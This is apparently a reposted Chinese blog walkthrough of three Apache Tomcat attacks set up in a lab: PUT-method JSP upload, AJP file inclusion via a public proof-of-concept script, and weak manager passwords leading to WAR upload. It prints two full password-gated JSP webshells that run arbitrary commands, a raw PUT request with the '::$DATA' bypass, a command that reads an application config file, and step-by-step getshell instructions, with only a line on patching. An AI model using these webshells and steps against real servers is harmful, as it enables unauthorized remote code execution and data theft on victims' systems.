参考链接:
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。
参考链接:
在tomcat的配置文件web.xml中,参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false,则允许用户上传jsp文件。如果可以上传jsp文件,则会导致远程代码执行。
漏洞影响范围:
启动环境。
漏洞攻击payload:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
访问http://your-ip:8080/,使用burp拦截,将GET方式改为PUT,将上面内容或冰蝎jsp脚本内容提交。上面的payload命令执行方式:http://your-ip:8080/tomcat.jsp?&pwd=023&cmd=whoami。下面使用的是冰蝎的jsp脚本。s
PUT /tomcat.jsp::$DATA HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 534
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
服务器响应201为正常创建jsp脚本。

文件在服务器的创建路径为:/usr/local/tomcat/webapps/ROOT。

PUT上传的路径要以/结尾,如果返回404说明没有写/。

创建jsp文件成功后,执行命令。

该漏洞的利用需要前提,即允许用户上传jsp脚本文件,但默认情况下是不存在该漏洞的。
升级版本,该漏洞已在Apache Tomcat 7.0.81中修复。
参考链接:
Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
漏洞影响范围:
启动环境。
环境启动成功后,使用网上已有的验证代码即可,如下:
我使用的是最后一个poc,克隆代码后,使用如下命令进行漏洞测试:
python tomcat.py read_file --webapp=ROOT/ /WEB-INF/classes/application.yml 127.0.0.1

参考链接:
启动环境。
打开http://your-ip:8080/manager/html,输入后台弱口令:tomcat:tomcat。
通过弱口令登录后台后,上传war包getshell。首先准备一个jsp木马,压缩成zip文件,再修改后缀名为.war,war包即可制作完成。jsp木马内容:
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句话木马</title>
</head>
<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>
上传webshell,webshell的位置在后台等候后就可以看到。

上传完成。

文件上传的路径在/usr/local/tomcat/webapps/shell/shell.jsp,所以访问时候的路径为http://your-ip:8080/shell/shell.jsp。访问并执行命令:http://your-ip:8080/shell/shell.jsp?pwd=admin&cmd=id。

原文:https://www.cnblogs.com/ahtoh/p/15130338.html